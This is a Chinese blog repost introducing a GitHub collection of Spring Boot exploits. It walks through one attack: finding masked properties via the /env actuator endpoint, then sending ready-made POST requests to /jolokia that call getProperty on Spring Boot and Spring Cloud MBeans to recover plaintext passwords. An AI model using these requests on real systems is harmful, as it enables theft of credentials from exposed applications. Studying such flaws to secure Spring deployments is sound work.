查看原文
其他

可怕!这些SpringBoot漏洞。。。

The following article is from 程序员老鬼 Author 老鬼

框架的初衷就是为了避免编写重复代码,也就是不要重复造轮子,将我们的专注力放在业务逻辑上。

有句话是这么说的:同样的代码写两次就是罪过。

现在只要我们开发一个项目,就必定会想着应该使用什么框架更加贴合业务。譬如SSM,SSH大家肯定是非常熟悉的,很多读者手头的项目就是基于这个框架。

但是,你在使用的时候,有想过这些框架是否安全吗?


这时候可能有读者会说:没关系,这主流框架那么多人都在用,我担心啥呀?

鬼哥告诉大家,一件事物不管有多少人深信不疑,你都应该保持一定的怀疑。不要人云亦云、不要成为乌合之众,多思考点不一样的。

对于我们日常开发使用的框架也是一样的,而且你清楚的知道什么都是有漏洞,漏洞一定存在,只是你没发现。


今天说说 SpringBoot 的漏洞,这还是我这两天在 GitHub 上面看到的,列举了目前已发现的绝大部分 SpringBoot漏洞。

不仅告诉你有哪些漏洞,还教你一些技巧来巧妙的利用它,仅供学习哈!

# 举个信息泄露的例子

获取被星号(*) 脱敏的密码明文
访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果


利用条件:


  • 目标网站存在 /jolokia 或 /actuator/jolokia 接口

  • 目标使用了 jolokia-core 依赖(版本要求暂未知)


利用方法:


步骤一:找到想要获取的属性名


GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二:jolokia 调用相关 Mbean 获取明文

将下面示例中的 security.user.password 替换为实际要获取的属性名,直接发包;明文值结果包含在 response 数据包中的 value 键中。

  • 调用 org.springframework.boot Mbean

实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法

spring 1.x
POST /jolokiaContent-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

POST /actuator/jolokiaContent-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}


  • 调用 org.springframework.cloud.context.environment Mbean

实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法

spring 1.x

POST /jolokiaContent-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x

POST /actuator/jolokiaContent-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}


  • 调用其他 Mbean

目标具体情况和存在的 Mbean 可能不一样,可以搜索 getProperty 等关键词,寻找可以调用的方法。

# 更多漏洞

上面我只是列举了一个漏洞,大家看完是不是感觉自己格局打开了一些



还有很多我就不列举在文章中了,大家直接去GitHub上面学习就行。


GitHub链接:

https://github.com/LandGrey/SpringBootVulExploit



技术交流群

有不少同学问D哥,大厂面试官到底喜欢问什么?想进大厂镀金。因此,D哥特意邀请了华为、腾讯、阿里的朋友进群,与大家一起交流经验,增长技术。

有兴趣入群的同学,可长按扫描下方二维码,一定要备注:城市+昵称+技术方向,根据格式备注,可更快被通过且邀请进群。

▲长按扫描



热门推荐



: . Video Mini Program Like ,轻点两下取消赞 Wow ,轻点两下取消在看

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存